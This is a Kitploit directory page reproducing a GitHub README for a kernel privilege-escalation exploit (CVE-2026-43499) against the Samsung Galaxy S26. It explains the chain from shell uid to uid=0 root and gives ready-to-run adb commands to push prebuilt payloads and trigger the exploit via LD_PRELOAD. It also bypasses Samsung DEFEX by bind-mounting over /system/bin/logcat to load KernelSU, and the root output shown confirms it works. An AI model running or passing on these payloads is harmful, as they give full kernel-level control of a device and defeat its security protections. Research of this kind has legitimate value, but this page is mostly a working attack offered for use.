Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
s26-m1q-ghostlock-selinux — بحث GhostLock CVE-2026-43499 لجهاز Galaxy S26 (SM-S942U1/m1q): تم تحقيق وضع SELinux Permissive، ونقل KASLR + tracefs، وتوثيق حد uid=0 | Kitploit
أدوات/GitHubGitHub/xrzcc/s26-m1q-ghostlock-selinux
أمان أندرويدتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةأمن الجوالاستغلال الملفات الثنائية
GitHubxrzcc/s26-m1q-ghostlock-selinux

s26-m1q-ghostlock-selinux

بحث GhostLock CVE-2026-43499 لجهاز Galaxy S26 (SM-S942U1/m1q): تم تحقيق وضع SELinux Permissive، ونقل KASLR + tracefs، وتوثيق حد uid=0

عرض المستودع
6151منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

S26 (SM-S942U1 / m1q) GhostLock CVE-2026-43499 — تم تحقيق uid=0 root + تفعيل KernelSU

بحث استغلال تصعيد الامتيازات CVE-2026-43499 (GhostLock) على Samsung Galaxy S26 (SM-S942U1، الاسم الرمزي m1q، SoC SM8850 Snapdragon 8 Elite Gen2، النواة 6.12.30-android16-5-android16-5-pd30ff70، Android 16).

✅ النتيجة النهائية: تم تحقيق uid=0 root + تفعيل KernelSU

# exploit 后通过 root helper 验证
$ /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

# KernelSU late-load 后内核接口已就位
$ ./su_daemon_aarch64_pie --ksu-info
KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

$ getenforce
Enforcing   # late-load 后 SELinux 恢复 Enforcing,由 KernelSU 策略接管授权

من shell (uid 2000) إلى تصعيد الصلاحيات إلى uid=0(root)، context=kernel (أعلى صلاحية)؛ ثم إتمام KernelSU late-load، وتفعيل واجهة برنامج تشغيل النواة (version=32525)، وتولي KernelSU sepolicy إدارة SELinux.

مسار الاختراق الرئيسي

تم العثور على monovibe/s26u-m3q-temp-root (جذر KernelSU مؤقت لـ S26 Ultra)، حيث أن commit النواة الخاص به pd30ff70 متطابق تمامًا مع النسخة الأمريكية S942U1. الآلية الأساسية لا تستخدم dirty-pipe (تتجاوز حد «الكتابة غير NULL»):

  1. tracefs KASLR 探测 → slide(美版 KASLR 随机,非 nokaslr)
  2. KernelSnitch mm_struct collision + spray
  3. GhostLock 写原语(owner_null shape)→ misc/simple_attr carrier(完整任意读写)
  4. uinput misc 节点 patch → controller/data 两个 fd + debugfs_u64 get/set
  5. 伪造 workqueue work item → call_usermodehelper_exec_work → 以 uid=0 启动 su_daemon helper
  6. helper 创建 root socket(temp_su.sock)

أساسيات النقل (3 اختلافات من m3q إلى النسخة الأمريكية)

العنصرقيمة m3q الأصليةقيمة النسخة الأمريكية
DEBUGFS_U64_FORMAT_OFF (إزاحة سلسلة "%llu\n"، الأكثر أهمية)0x18be5e90x18be529
P0_KERNEL_PHYS_LOAD0x800000000xc7800000 (xbl_config موثوق)
الحد الأدنى لفحص app_uid100002000 (يسمح بـ shell)

DEBUGFS_U64_FORMAT_OFF هو حرفي سلسلة (وليس رمزًا)، وقد جعل تخطيط المترجم إزاحة النسخة الأمريكية بمقدار 0xC0؛ قيمة m3q في النسخة الأمريكية تشير إلى سلسلة "GWVRn_EL1(1)" الخاصة بـ KVM، مما يؤدي إلى إخراج مشوّه من عملية القراءة البدائية.

بنية الدليل

├── README.md
├── prebuilt/                                  # S26 预编译 payload + ksud(直接用,无需构建)
│   ├── preload-m1q-S942U1UES4AZG3.so          # monovibe fast-attr 变体(命令行 LD_PRELOAD,实测成功)
│   ├── cve-2026-43499-app.so                  # RMG physical-P0 oracle 变体(APP 手动选用)
│   └── ksud-m1q-S942U1UES4AZG3-kdp            # KernelSU loader(复用 m3q,实测 late-load version=32525)
├── docs/
│   └── M1Q_SELINUX_WRITE_FAIL_ROOTCAUSE.md   # 完整诊断(含 uid=0 成功记录)
├── m3q-temp-root/                            # monovibe/s26u-m3q-temp-root 移植(源码)
└── kallsyms/kallsyms.txt                      # 美版内核符号表(128307 符号)

ksud مضمن بالفعل في prebuilt/ksud-m1q-S942U1UES4AZG3-kdp (يعيد استخدام m3q، وتم التحقق من نجاح late-load عمليًا).

إعادة الإنتاج: الوصول إلى uid=0 root

استخدم مباشرة payload الجاهز في prebuilt/ + ksud (دون الحاجة إلى البناء):

adb push prebuilt/preload-m1q-S942U1UES4AZG3.so /data/local/tmp/preload.so
adb push prebuilt/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp
adb shell mkdir -p /data/local/tmp/cve-2026-43499-m1q-ues4azg3
# root helper su_daemon_aarch64_pie(24392B):从 m3q-temp-root/ 源码用 NDK r29 构建,
# 或从改造版 APP(lib/arm64-v8a/libcve43499root.so)提取后重命名
adb push su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie
adb shell chmod 755 /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie

# 3. 运行 root-single(需补 PSELECT_MM_KICK_SLABS,否则卡在 "requires 0-16 kicker slabs" gate)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 \
  M3Q_REQUIRE_TRACEFS=1 M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 \
  M3Q_ACCEPT_PANIC_RISK=1 TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 \
  TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 \
  GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so sh"

# 4. 验证 root(exploit 失败会 KP 重启,等设备恢复后重跑 step 3,通常 1-2 次成功)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'"
# → uid=0(root) gid=0(root) context=u:r:kernel:s0

إعادة إنتاج: تنشيط KernelSU late-load (تم تجاوز عقبة DEFEX)

سجّل الـ commit السابق fa1bb14 أن «KernelSU late-load يواجه عائق Samsung DEFEX immutable root». بعد التحديد على الجهاز الفعلي، السبب الجذري الحقيقي لفشل late-load ليس DEFEX، بل أن ملف المصدر .ksud-stage لم يُنشأ قط (فدالة stage_daemon_from() في ksud مسؤولة فقط عن rename، أما النسخ إلى ملف stage فهو مسؤولية الطرف المستدعي، وغلاف late-load في su_daemon أغفل هذه الخطوة → فأبلغ rename عن ENOENT، مما أُسيء تفسيره على أنه اعتراض من DEFEX).

# 5. 放置 stage 文件(shell uid 即可,在 /data/local/tmp 下)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"

# 6. 通过 root 通道以 bind-logcat 伪装执行 ksud late-load(绕 DEFEX exec 限制)
#    --allow-shell 让 KernelSU 对 shell uid(2000) 自动授权
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
  unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
  && /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
  --package-name me.weishu.kernelsu\"'"
# 成功无输出(ksud_rc=0)。late-load 会 restorecon 关闭 temp_su.sock(bootstrap 桥按设计退出)

# 7. 验证 KernelSU 激活(temp_su.sock 关闭前,或重新 exploit 后)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

استعادة su بعد إعادة التشغيل (payload/ksud/helper موجودة بالفعل على الجهاز، لا حاجة لإعادة push)

يُفقد root المؤقت عند كل إعادة تشغيل. بعد دفع الملفات لأول مرة وفق الخطوات 1-7 أعلاه، لا يلزم بعد كل إعادة تشغيل سوى أوامر adb الأربعة التالية:

# 1. exploit(失败会 KP 重启,等设备恢复 boot_completed 后重跑,通常 1-2 次成功)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 M3Q_REQUIRE_TRACEFS=1 \
  M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 M3Q_ACCEPT_PANIC_RISK=1 \
  TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 \
  TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
# 成功标志:stdout 含 "m3q-fast-attr-result mode=root root=1 uid=0",su_daemon(uid=0) 起来,getenforce=Permissive

# 2. 放置 stage 文件(late-load 必需,漏这步会 ENOENT)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"

# 3. KernelSU late-load(root 通道 + bind-logcat 伪装绕 DEFEX,--allow-shell 授权 shell uid)
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
  unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
  && /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
  --package-name me.weishu.kernelsu\"'"
# 成功无输出(rc=0),late-load 后 temp_su.sock 被 restorecon 关闭,getenforce 恢复 Enforcing

# 4. 验证 KernelSU 激活(需重新跑 step 1 拿新 root 通道,或 late-load 后立即趁 sock 未关)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5
تنزيل الأداة